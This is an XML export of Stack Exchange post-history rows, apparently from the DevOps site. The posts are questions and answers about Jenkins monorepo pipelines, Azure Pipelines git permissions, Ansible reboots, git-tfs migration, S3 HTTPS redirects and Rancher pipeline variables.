  <row Id="25561" PostHistoryTypeId="5" PostId="8729" RevisionGUID="14f1bf96-2b67-400b-bb94-2d4c1ad8e69a" CreationDate="2019-07-27T09:50:30.960" UserId="210" Comment="added 13 characters in body" Text="My personal opinion is that each deliverable should reside in its own repository. However if one would like to keep the monorepo one could use [`changeset` in conjunction with `when`][1]:&#xD;&#xA;&#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;         agent any&#xD;&#xA;&gt;         stages {&#xD;&#xA;&gt;             stage('build matchengine') {&#xD;&#xA;&gt;                 when {&#xD;&#xA;&gt;                     changeset &quot;**/matchengine/*.*&quot;&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;                 steps {&#xD;&#xA;&gt;                     echo 'building match engine'&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;             stage('build posttrade') {&#xD;&#xA;&gt;                 when {&#xD;&#xA;&gt;                     changeset &quot;**/posttrade/*.*&quot;&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;                 steps {&#xD;&#xA;&gt;                     echo 'building post trade'&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;or [change the directory in several build stage and build the code inside this directory][2]:&#xD;&#xA;&#xD;&#xA;&gt;     stage('Build') {&#xD;&#xA;&gt;       dir('web_app') {&#xD;&#xA;&gt;         sh 'ls'&#xD;&#xA;&gt;         sh 'git pull'&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;One could also decide to use the [parallel option][3] to ensure that the build times will be shortened:&#xD;&#xA;&#xD;&#xA;&gt;     /* .. snip .. */&#xD;&#xA;&gt;     stage('run-parallel-branches') {&#xD;&#xA;&gt;       steps {&#xD;&#xA;&gt;         parallel(&#xD;&#xA;&gt;           a: {&#xD;&#xA;&gt;             echo &quot;This is branch a&quot;&#xD;&#xA;&gt;           },&#xD;&#xA;&gt;           b: {&#xD;&#xA;&gt;             echo &quot;This is branch b&quot;&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         )&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&gt;     /* .. snip .. */&#xD;&#xA;&#xD;&#xA;Regarding the question:&#xD;&#xA;&#xD;&#xA;&gt; Set up Jenkins job which will trigger task only for repo where PUSH&#xD;&#xA;&gt; has occurred. e.g if my monorepo consist 2 merged repos repo1 and&#xD;&#xA;&gt; repo2 , so if any changes in repo1 should trigger only related task&#xD;&#xA;&gt; for repo1 and likewise for repo2.&#xD;&#xA;&#xD;&#xA;I think that `changeset` would be most useful: a change will trigger the build, but as a change only occurred in a certain path, only that build will be started.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/6678/210&#xD;&#xA;  [2]: https://stackoverflow.com/a/49189040/2777965&#xD;&#xA;  [3]: https://jenkins.io/blog/2017/09/25/declarative-1/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25562" PostHistoryTypeId="2" PostId="8730" RevisionGUID="b342a4c2-089e-4433-8840-a77c501bd49f" CreationDate="2019-07-27T10:01:59.187" UserId="210" Text="Once could use the [`when` in conjunction with the `branch` keyword if Jenkins declarative pipelines would be used][1]:&#xD;&#xA;&#xD;&#xA;&gt;     pipeline {&#xD;&#xA;&gt;         agent any&#xD;&#xA;&gt;         stages {&#xD;&#xA;&gt;             stage('Example Build') {&#xD;&#xA;&gt;                 steps {&#xD;&#xA;&gt;                     echo 'Hello World'&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;             stage('Example Deploy') {&#xD;&#xA;&gt;                 when {&#xD;&#xA;&gt;                     branch 'production'&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;                 steps {&#xD;&#xA;&gt;                     echo 'Deploying'&#xD;&#xA;&gt;                 }&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/syntax/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25563" PostHistoryTypeId="2" PostId="8731" RevisionGUID="2abc8648-0ac8-4a9e-a049-7c47dc24c480" CreationDate="2019-07-27T10:18:33.370" UserId="210" Text="&gt; &quot;how to start with devops&quot;&#xD;&#xA;&#xD;&#xA;First of all, I would like to emphasize that DevOps is a culture and not a role. In my opinion one could compare it with a team of commandos that have their own expertise, e.g. sniper, marine, sapper (think about the commandos series). The combination of these expertises, basically working together, makes it possible to accomplish missions or creating business value as soon as possible.&#xD;&#xA;&#xD;&#xA;**LowOps and NoOps**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Figure 1: https://www.gslab.com/blog-post/what-is-noops/&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/T7Xsf.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="25564" PostHistoryTypeId="5" PostId="8731" RevisionGUID="6072e9a0-9d27-444c-bb02-d38a7a574f85" CreationDate="2019-07-27T10:38:53.957" UserId="210" Comment="added 882 characters in body" Text="&gt; &quot;how to start with devops&quot;&#xD;&#xA;&#xD;&#xA;First of all, I would like to emphasize that DevOps is a culture and not a role. In my opinion one could compare it with a team of commandos that have their own expertise, e.g. sniper, marine, sapper (think about the commandos series). The combination of these expertises, basically working together, makes it possible to accomplish missions or creating business value as soon as possible. &#xD;&#xA;&#xD;&#xA;**LowOps and NoOps**&#xD;&#xA;&#xD;&#xA;Since a couple of weeks I found that after lot's of conversations with people, that a rather talk about LowOps these days. If I implement a solution then this means that it is completely automated and that a colleague can deploy machines themselves rather than asking me. Sometimes it is not immediately possible to automate it completely, but then I ensure that it is automated for myself to ensure that I only have to run one command in order to get the work done (LowOps), instead of wasting a couple of hours. If I have created such solution, I ensure that a ticket has been created for a colleague to automate my personal solution for everybody. Example: a collegue of mine transformed one of my bash script in a bot that it now run every night. This means that the knowledge has been transferred and that a NoOps solution has been created and we can both focus on new tasks. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Figure 1: https://www.gslab.com/blog-post/what-is-noops/&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/T7Xsf.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="25565" PostHistoryTypeId="5" PostId="8731" RevisionGUID="02806e3c-3e6a-4a6a-abf5-e46438b0fd96" CreationDate="2019-07-27T10:46:18.863" UserId="210" Comment="added 882 characters in body" Text="First of all, I would like to emphasize that DevOps is a culture and not a role. In my opinion one could compare it with a team of commandos that have their own expertise, e.g. sniper, marine, sapper (think about the commandos series). The combination of these expertises, basically working together, makes it possible to accomplish missions or creating business value as soon as possible. &#xD;&#xA;&#xD;&#xA;**LowOps and NoOps**&#xD;&#xA;&#xD;&#xA;Since a couple of weeks I found that after lot's of conversations with people, that a rather talk about LowOps these days. If I implement a solution then this means that it is completely automated and that a colleague can deploy machines themselves rather than asking me. Sometimes it is not immediately possible to automate it completely, but then I ensure that it is automated for myself to ensure that I only have to run one command in order to get the work done (LowOps), instead of wasting a couple of hours. If I have created such solution, I ensure that a ticket has been created for a colleague to automate my personal solution for everybody. Example: a collegue of mine transformed one of my bash script in a bot that it now run every night. This means that the knowledge has been transferred and that a NoOps solution has been created and we can both focus on new tasks. &#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Figure 1: https://www.gslab.com/blog-post/what-is-noops/&#xD;&#xA;&#xD;&#xA;&gt; &quot;how to start with devops&quot;&#xD;&#xA;&#xD;&#xA;Ensure that you are part of a team with mixed competences and that the team has to deploy the software themselves. Talk with all team members and start with tasks that nobody wants to do as there is a lack of knowledge or willingness. If you start with a task then you will bump into things you do not know. Start to watch videos, attend [meetups][2], buy and read books, read blogs and official documentation about tooling, ask colleagues to review your pull requests and communicate and listen well to people, document things well and prepare and demonstrate solutions to colleagues (knowledge sharing). The last suggestion is to keep an eye on the [work-life balance][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/T7Xsf.png&#xD;&#xA;  [2]: https://www.meetup.com/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Work%E2%80%93life_balance" ContentLicense="CC BY-SA 4.0" />
  <row Id="25566" PostHistoryTypeId="19" PostId="8690" RevisionGUID="b00e6e92-4a20-4efc-9f10-b99ed82b79ad" CreationDate="2019-07-27T10:52:40.123" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="25567" PostHistoryTypeId="20" PostId="8690" RevisionGUID="143bd126-c585-46fc-a3cf-afdd55998d97" CreationDate="2019-07-27T10:52:47.630" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="25568" PostHistoryTypeId="4" PostId="3400" RevisionGUID="4477c3c1-da92-4108-886f-e6c58d40423a" CreationDate="2019-07-27T11:02:54.270" UserId="210" Comment="edited tags; edited title" Text="How to disable some branches in Multibranch Jenkins Builds?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25569" PostHistoryTypeId="6" PostId="3400" RevisionGUID="4477c3c1-da92-4108-886f-e6c58d40423a" CreationDate="2019-07-27T11:02:54.270" UserId="210" Comment="edited tags; edited title" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25574" PostHistoryTypeId="5" PostId="8717" RevisionGUID="f18e7e88-42a1-439f-b935-100333e1e595" CreationDate="2019-07-27T11:48:37.857" UserId="40" Comment="deleted 34 characters in body" Text="Need bit of help regarding Jenkins CI jobs. I am pretty new to Jenkins world &#xD;&#xA;&#xD;&#xA;As per the current set up in our project we have different repositories in GIT and they have web hooks setup with Jenkins to trigger CI jobs in the event of any push. Please note there are separate CI job for different repos.&#xD;&#xA;&#xD;&#xA;My requirements :&#xD;&#xA;&#xD;&#xA;1. Build a mono repo which will consist all existing repos. ( for test purpose I have created 2 repos and merged them in mono repo ).&#xD;&#xA;2.	Set up Jenkins job which will trigger task only for repo where PUSH has occurred.&#xD;&#xA;e.g if my monorepo consist 2 merged repos repo1 and repo2 , so if any changes in repo1 should trigger only related task for repo1 and likewise for repo2.&#xD;&#xA;&#xD;&#xA;I’m not sure how could I achieve point 2. Any help?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25575" PostHistoryTypeId="50" PostId="6380" RevisionGUID="5122d54f-c12a-455f-8fb7-fb722a0dccd7" CreationDate="2019-07-27T12:01:10.150" UserId="-1" />
  <row Id="25581" PostHistoryTypeId="5" PostId="8704" RevisionGUID="2628f039-5e95-4de9-a87c-aec55954ee05" CreationDate="2019-07-27T20:37:01.317" UserId="210" Comment="deleted 10 characters in body" Text="The very first things you need to learn and get comfortable with:&#xD;&#xA;&#xD;&#xA;* unix (file system, permissions, processes, services, logs, networking, etc…)&#xD;&#xA;* ssh &amp; reverse tunneling&#xD;&#xA;* nano/vim&#xD;&#xA;* python&#xD;&#xA;* git&#xD;&#xA;&#xD;&#xA;Then you could move on to more specific topics:&#xD;&#xA;&#xD;&#xA;* containerization (e.g. docker)&#xD;&#xA;* configuration management (e.g. ansible)&#xD;&#xA;* continuous deployment (e.g. jenkins)&#xD;&#xA;* monitoring (e.g. prometheus/grafana)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25582" PostHistoryTypeId="50" PostId="7994" RevisionGUID="562c4e78-2b62-4174-aa4d-590d1d13c860" CreationDate="2019-07-27T22:02:05.243" UserId="-1" />
  <row Id="25583" PostHistoryTypeId="2" PostId="8734" RevisionGUID="13d6b84d-6898-4d7a-9fdb-12112410a562" CreationDate="2019-07-27T22:11:08.180" UserId="16227" Text="I'm trying to achieve the following through the build pipeline.&#xD;&#xA;&#xD;&#xA; - Default branch: SIT (from the Azure Repos repository)&#xD;&#xA; - Trigger: whenever a change is made in DEV branch&#xD;&#xA;&#xD;&#xA;In a powershell task do the following:&#xD;&#xA;&#xD;&#xA; - Merge latest from DEV to the current SIT branch&#xD;&#xA; - Deploy the latest from SIT branch&#xD;&#xA; - Push the updated SIT branch to the upstream repository&#xD;&#xA;&#xD;&#xA;Here is my code:&#xD;&#xA;&#xD;&#xA;    git checkout -b temp&#xD;&#xA;    git merge origin/DEV&#xD;&#xA;    git branch -f SIT temp&#xD;&#xA;    git checkout SIT&#xD;&#xA;    git status&#xD;&#xA;    git branch -d temp&#xD;&#xA;    git remote add neworigin $(RemoteOrigin)&#xD;&#xA;    git push -u origin --all&#xD;&#xA;&#xD;&#xA;When I try to push the updated SIT branch using `git push -u origin SIT` and I'm getting the following error:&#xD;&#xA;&#xD;&#xA;&gt; remote: 0000000000aaTF401027: You need the Git 'GenericContribute'&#xD;&#xA;&gt; permission to perform this action. Details: identity&#xD;&#xA;&gt; 'Build\d073f6c7-4fa2-4bda-8694-8a41fb808fff', scope 'repository'.&#xD;&#xA;&gt; remote: TF401027: You need the Git 'GenericContribute' permission to&#xD;&#xA;&gt; perform this action. Details: identity&#xD;&#xA;&gt; 'Build\d073f6c7-4fa2-4bda-8694-8a41fb808fff', scope 'repository'.&#xD;&#xA;&gt; fatal: unable to access '&lt;repo_URL&gt;': The requested URL returned&#xD;&#xA;&gt; error: 403&#xD;&#xA;&#xD;&#xA;Can someone help?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25584" PostHistoryTypeId="1" PostId="8734" RevisionGUID="13d6b84d-6898-4d7a-9fdb-12112410a562" CreationDate="2019-07-27T22:11:08.180" UserId="16227" Text="Git Remote Access in Azure Pipelines, possible?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25585" PostHistoryTypeId="3" PostId="8734" RevisionGUID="13d6b84d-6898-4d7a-9fdb-12112410a562" CreationDate="2019-07-27T22:11:08.180" UserId="16227" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25586" PostHistoryTypeId="5" PostId="8725" RevisionGUID="871da4d9-213d-4601-9168-199ffe010004" CreationDate="2019-07-28T02:47:05.547" UserId="14770" Comment="added 4 characters in body" Text="I have 3 scripts that must be run on server one by one. for example:  &#xD;&#xA;&#xD;&#xA;    - name: find config&#xD;&#xA;      shell: /data/scripts/config1&#xD;&#xA;      become: yes&#xD;&#xA;      become_user: root&#xD;&#xA;      tags: find_config&#xD;&#xA; &#xD;&#xA;    - name: change config&#xD;&#xA;      shell: /data/scripts/config2&#xD;&#xA;      become: yes&#xD;&#xA;      become_user: root&#xD;&#xA;      tags: change_config&#xD;&#xA;&#xD;&#xA;    - name: confirm config&#xD;&#xA;      shell: /data/scripts/config3&#xD;&#xA;      become: yes&#xD;&#xA;      become_user: dbusr1&#xD;&#xA;      tags: confirm_config&#xD;&#xA;&#xD;&#xA;in second script `config2` there is a reboot command and then the rest of script will be run at start up. something like this:  &#xD;&#xA;&#xD;&#xA;    some variables&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;    commands before reboot&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;    reboot command&#xD;&#xA;    .&#xD;&#xA;    .&#xD;&#xA;    commands that run at start up&#xD;&#xA;&#xD;&#xA;does this reboot affect ansible tasks? how i can write tasks that wait until `commands that run at start up` be run then execute `config3`? is this even possible in ansible? what modules should i use?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25595" PostHistoryTypeId="2" PostId="8737" RevisionGUID="1f3256c7-6502-41ee-92c6-15653dee597b" CreationDate="2019-07-28T11:48:07.840" UserId="16233" Text="We have a large TFS repository which we would like to migrate to git.&#xD;&#xA;&#xD;&#xA;We are considering using git-tfs for a while, in order for everything to continue working while we migrate.&#xD;&#xA;&#xD;&#xA;We have large (or small, but rapidly changing) binary files scattered throughout the code, which have been checked-in to tfs throughout the history.&#xD;&#xA;&#xD;&#xA;My worries about git-tfs I have not been able to find accessible answers for:&#xD;&#xA;&#xD;&#xA;1. What is the source of truth for git-tfs? Is it a git server, a tfs server, or some hybrid, or none of the above?&#xD;&#xA;&#xD;&#xA;2. If it is a git server, how would this affect workflow while knowing binary files exist?&#xD;&#xA;&#xD;&#xA;3. We thought of using lfs, but not sure how this wuold play with git-tfs.&#xD;&#xA;&#xD;&#xA;I would love some light shed on this topic, as it would be quite pointless to migrate only to find out binary files make the new repo not usable" ContentLicense="CC BY-SA 4.0" />
  <row Id="25596" PostHistoryTypeId="1" PostId="8737" RevisionGUID="1f3256c7-6502-41ee-92c6-15653dee597b" CreationDate="2019-07-28T11:48:07.840" UserId="16233" Text="Migrating from TFVS to GIT using GIT-TFS" ContentLicense="CC BY-SA 4.0" />
  <row Id="25597" PostHistoryTypeId="3" PostId="8737" RevisionGUID="1f3256c7-6502-41ee-92c6-15653dee597b" CreationDate="2019-07-28T11:48:07.840" UserId="16233" Text="&lt;git&gt;&lt;tfs&gt;&lt;migration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25598" PostHistoryTypeId="50" PostId="6130" RevisionGUID="41460dae-9c91-4938-9c2a-5a535ba5ff4a" CreationDate="2019-07-28T15:01:20.150" UserId="-1" />
  <row Id="25599" PostHistoryTypeId="50" PostId="4693" RevisionGUID="df7ba4bf-8f1b-4b45-bda5-2384c65cc0ce" CreationDate="2019-07-28T16:02:55.400" UserId="-1" />
  <row Id="25600" PostHistoryTypeId="2" PostId="8738" RevisionGUID="1872ebf3-85a1-47ae-b386-59008e9e3ea2" CreationDate="2019-07-28T19:34:29.667" UserId="7837" Text="So I followed these instructions to redirect:&#xD;&#xA;&#xD;&#xA;    platform.demo.interos.net&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    platform.demo.interos.io&#xD;&#xA;&#xD;&#xA;the instructions use s3 for static site hosting and use the redirect option:  https://aws.amazon.com/premiumsupport/knowledge-center/redirect-domain-route-53/&#xD;&#xA;&#xD;&#xA;but when I use the browser, the browser won't actually redirect me from the .net to the .io page, it just hangs. But when I run this:&#xD;&#xA;&#xD;&#xA;    curl -I platform.demo.interos.net&#xD;&#xA;&#xD;&#xA;I get:&#xD;&#xA;&#xD;&#xA;    HTTP/1.1 301 Moved Permanently&#xD;&#xA;    x-amz-id-2: E4VM/vr+1HtO6Q0vvCNL16nxxxxxxFDvvgPW+EjI4g9Zk=&#xD;&#xA;    x-amz-request-id: 175E9039358ECD1B&#xD;&#xA;    Date: Sun, 28 Jul 2019 19:30:09 GMT&#xD;&#xA;    Location: https://platform.demo.interos.io/&#xD;&#xA;    Content-Length: 0&#xD;&#xA;    Server: AmazonS3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So what's not working here - why doesn't the browser recognize the 301 and do the redirection?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25601" PostHistoryTypeId="1" PostId="8738" RevisionGUID="1872ebf3-85a1-47ae-b386-59008e9e3ea2" CreationDate="2019-07-28T19:34:29.667" UserId="7837" Text="s3 static hosting not redirecting my request" ContentLicense="CC BY-SA 4.0" />
  <row Id="25602" PostHistoryTypeId="3" PostId="8738" RevisionGUID="1872ebf3-85a1-47ae-b386-59008e9e3ea2" CreationDate="2019-07-28T19:34:29.667" UserId="7837" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;browser&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25603" PostHistoryTypeId="5" PostId="8738" RevisionGUID="6c489d50-fe39-4c2d-8e8f-e1f697f1b28a" CreationDate="2019-07-28T19:49:47.457" UserId="7837" Comment="added 333 characters in body" Text="So I followed these instructions to redirect:&#xD;&#xA;&#xD;&#xA;    platform.demo.interos.net&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    platform.demo.interos.io&#xD;&#xA;&#xD;&#xA;the instructions use s3 for static site hosting and use the redirect option:  https://aws.amazon.com/premiumsupport/knowledge-center/redirect-domain-route-53/&#xD;&#xA;&#xD;&#xA;but when I use the browser, the browser won't actually redirect me from the .net to the .io page, it just hangs. But when I run this:&#xD;&#xA;&#xD;&#xA;    curl -I platform.demo.interos.net&#xD;&#xA;&#xD;&#xA;I get:&#xD;&#xA;&#xD;&#xA;    HTTP/1.1 301 Moved Permanently&#xD;&#xA;    x-amz-id-2: E4VM/vr+1HtO6Q0vvCNL16nxxxxxxFDvvgPW+EjI4g9Zk=&#xD;&#xA;    x-amz-request-id: 175E9039358ECD1B&#xD;&#xA;    Date: Sun, 28 Jul 2019 19:30:09 GMT&#xD;&#xA;    Location: https://platform.demo.interos.io/&#xD;&#xA;    Content-Length: 0&#xD;&#xA;    Server: AmazonS3&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So what's not working here - why doesn't the browser recognize the 301 and do the redirection?&#xD;&#xA;&#xD;&#xA;**UPDATE**:&#xD;&#xA;&#xD;&#xA;I now realize it's because in the browser address bar it often adds an https:// in front, and with the protocol in front, it will not redirect. Anyone know why? &#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA;    curl -I https://platform.demo.interos.net&#xD;&#xA;&#xD;&#xA;will not resolve. but this will resolve:&#xD;&#xA;&#xD;&#xA;    curl -I platform.demo.interos.net&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25604" PostHistoryTypeId="2" PostId="8739" RevisionGUID="98daaa62-b006-4753-9067-2fab2339f566" CreationDate="2019-07-28T22:23:49.890" UserId="405" Text="The blog post you're following is somewhat obsolete, or at least incomplete in today's environment, because S3's web site hosting endpoints don't support HTTPS at all.  The request will time out.&#xD;&#xA;&#xD;&#xA;To enable HTTPS on a custom domain pointing to a bucket, you need a certificate issued in the us-east-1 region of Amazon Certificate Manager (or you can purchase one from a third party and load it into ACM there) and then a CloudFront distribution to handle the HTTPS and forward the request to S3.&#xD;&#xA;&#xD;&#xA;See [How do I use CloudFront to serve a static website hosted on Amazon S3?](https://aws.amazon.com/premiumsupport/knowledge-center/cloudfront-serve-static-website/)  Note that these instructions are still applicable even though you aren't, strictly speaking, &quot;hosting a static web site&quot; on S3.  You're still using the static hosting feature and this is how you enable HTTPS.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25605" PostHistoryTypeId="2" PostId="8740" RevisionGUID="50e8123a-ca4d-432e-aed9-6122f7845ee2" CreationDate="2019-07-29T04:55:57.887" UserId="3785" Text="All you need to learn is Linux, Docker, Networking, Git, Jenkins etc. You can learn them interactively [here](https://www.katacoda.com/)&#xD;&#xA;&#xD;&#xA;If you are looking for video tutorials then [pluralsight](https://www.pluralsight.com/search?q=devops) has something good for you." ContentLicense="CC BY-SA 4.0" />
  <row Id="25606" PostHistoryTypeId="2" PostId="8741" RevisionGUID="dceb0ecc-dac5-48d0-a1dd-88bfdca08901" CreationDate="2019-07-29T06:13:43.513" UserId="7764" Text="Answering based on using git-svn back in the day:&#xD;&#xA;&#xD;&#xA;1. The source of truth is *both* repositories. The point of `git-*` is to juggle this relationship without creating inconsistencies in either repository while migrating. You don't need a &quot;Git server&quot; until the entire team decides to migrate, because Git stores *all* the history in *every* copy of the repository.&#xD;&#xA;1. All files are binary. Git handles files. Ergo, Git can handle binary files. What you may have heard is that if you have an absolutely enormous amount of files (in file count or data volume) in source control something has very likely gone wrong somewhere, and Git may be slower than central version control in some rare cases.&#xD;&#xA;&#xD;&#xA;My advice would be to simply try it. Create a local copy of your TFS repository using git-tfs, and run the Git repo through its paces without pushing the changes to your TFS server. If you run into any *specific* problems they would be appropriate for separate questions." ContentLicense="CC BY-SA 4.0" />
  <row Id="25607" PostHistoryTypeId="2" PostId="8742" RevisionGUID="09e71616-8e85-4945-b91f-b6d60a5862be" CreationDate="2019-07-29T10:35:58.610" UserId="16237" Text="Currently I am trying to move our existing build infrastructure to Rancher with its CICD pipelines.&#xD;&#xA;&#xD;&#xA;My main question is: Is it possible to pass environment variables from one stage to another?&#xD;&#xA;&#xD;&#xA;Our application is Java / Spring based (so there is a pom.xml containing information like version). I am trying to extract information like VERSION and CHANNEL (=snapshot or release), which are needed in the next step ('build and deploy image'), since we need to provide some environment variables to the 'docker build' command.&#xD;&#xA;&#xD;&#xA;I know that its possible to pass data via the working directory, which is shared by all containers. &#xD;&#xA;Unfortunately you only can pass environment variables to the 'docker build' command in the 'build and deploy image' stage via 'PLUGIN_BUILD_ARGS' variable (https://rancher.com/docs/rancher/v2.x/en/k8s-in-rancher/pipelines/#build-and-publish-images). Also I do not see that its possible to run a script in the 'build and deploy image' container to provide those environment variables.&#xD;&#xA;&#xD;&#xA;I also know that there is a list of environment variables provided by rancher (https://rancher.com/docs/rancher/v2.x/en/k8s-in-rancher/pipelines/#pipeline-variable-substitution-reference), but none of those variables helps me. &#xD;&#xA;Is it somehow possible to extend that list?&#xD;&#xA;&#xD;&#xA;I already tried to pass variables, but it did not work:&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    - name: export&#xD;&#xA;      steps:&#xD;&#xA;      - runScriptConfig:&#xD;&#xA;          image: maven&#xD;&#xA;          shellScript: |-&#xD;&#xA;            export FOO=&quot;bar&quot;&#xD;&#xA;    - name: echo&#xD;&#xA;      steps:&#xD;&#xA;      - runScriptConfig:&#xD;&#xA;          image: maven&#xD;&#xA;          shellScript: |-&#xD;&#xA;            env&#xD;&#xA;            echo ${FOO}&#xD;&#xA;    timeout: 60&#xD;&#xA;    notification: {}&#xD;&#xA;&#xD;&#xA;Thank you all in advance :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="25608" PostHistoryTypeId="1" PostId="8742" RevisionGUID="09e71616-8e85-4945-b91f-b6d60a5862be" CreationDate="2019-07-29T10:35:58.610" UserId="16237" Text="Rancher Pipeline: How to pass environment variables from one stage to another" ContentLicense="CC BY-SA 4.0" />
  <row Id="25609" PostHistoryTypeId="3" PostId="8742" RevisionGUID="09e71616-8e85-4945-b91f-b6d60a5862be" CreationDate="2019-07-29T10:35:58.610" UserId="16237" Text="&lt;kubernetes&gt;&lt;jenkins-pipeline&gt;&lt;cicd&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25610" PostHistoryTypeId="2" PostId="8743" RevisionGUID="b81db9cb-d66a-481c-8e0f-18edf4cdd593" CreationDate="2019-07-29T14:34:37.857" UserId="16244" Text="I have successfully configured a Jenkins multi-branch pipeline to build my project which is hosted on Bitbucket. I have separate pipeline requirements for the &quot;develop&quot; and &quot;release&quot; branches, and for merge requests. These are now working correctly (except for a surplus &quot;PR-***&quot; job whenever a Bitbucket PR is triggered).&#xD;&#xA;&#xD;&#xA;My remaining issue is:&#xD;&#xA;In old-style Jenkins I used Bitbucket Pull Request plugin, which had a feature &quot;Comment phrase to trigger build&quot;. So in the event of a flaky unit test etc I could issue the trigger phrase as a comment in the pull request, and it would be rebuilt. &#xD;&#xA;&#xD;&#xA;How can I achieve this behaviour on a multi-branch pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25611" PostHistoryTypeId="1" PostId="8743" RevisionGUID="b81db9cb-d66a-481c-8e0f-18edf4cdd593" CreationDate="2019-07-29T14:34:37.857" UserId="16244" Text="How to use comments trigger rebuilds of Bitbucket pull-requests on Jenkins multi-branch pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="25612" PostHistoryTypeId="3" PostId="8743" RevisionGUID="b81db9cb-d66a-481c-8e0f-18edf4cdd593" CreationDate="2019-07-29T14:34:37.857" UserId="16244" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25613" PostHistoryTypeId="4" PostId="8743" RevisionGUID="14dfe789-4167-4f4c-9f8a-ba008107a68e" CreationDate="2019-07-29T14:44:35.270" UserId="16244" Comment="edited title" Text="How to use comments to trigger rebuilds of Bitbucket pull-requests on Jenkins multi-branch pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="25614" PostHistoryTypeId="5" PostId="6678" RevisionGUID="d7b2b281-a024-40c2-9ab4-ce0f3a780ce0" CreationDate="2019-07-29T15:06:44.493" UserId="13011" Comment="added 187 characters in body" Text="You can use the &quot;[when][1]&quot; block combined with the built in &quot;changeset&quot; condition to conditionally run only certain stages of your monorepo's pipeline. From the when.changeset documentation:&#xD;&#xA;&#xD;&#xA;changeset- &#xD;&#xA;Executes the stage if the build’s SCM changeset contains one or more files matching the given string or glob. Example: when { changeset &quot;**/*.js&quot; }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is an example Jenkinsfile using this strategy:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;        stages {&#xD;&#xA;            stage('build matchengine') {&#xD;&#xA;                when {&#xD;&#xA;                    changeset &quot;**/matchengine/*.*&quot;&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'building match engine'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('build posttrade') {&#xD;&#xA;                when {&#xD;&#xA;                    changeset &quot;**/posttrade/*.*&quot;&#xD;&#xA;                }&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'building post trade'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;, applicable to the monorepo project structure shown below:&#xD;&#xA;&#xD;&#xA;     .(my-project)&#xD;&#xA;       |-- 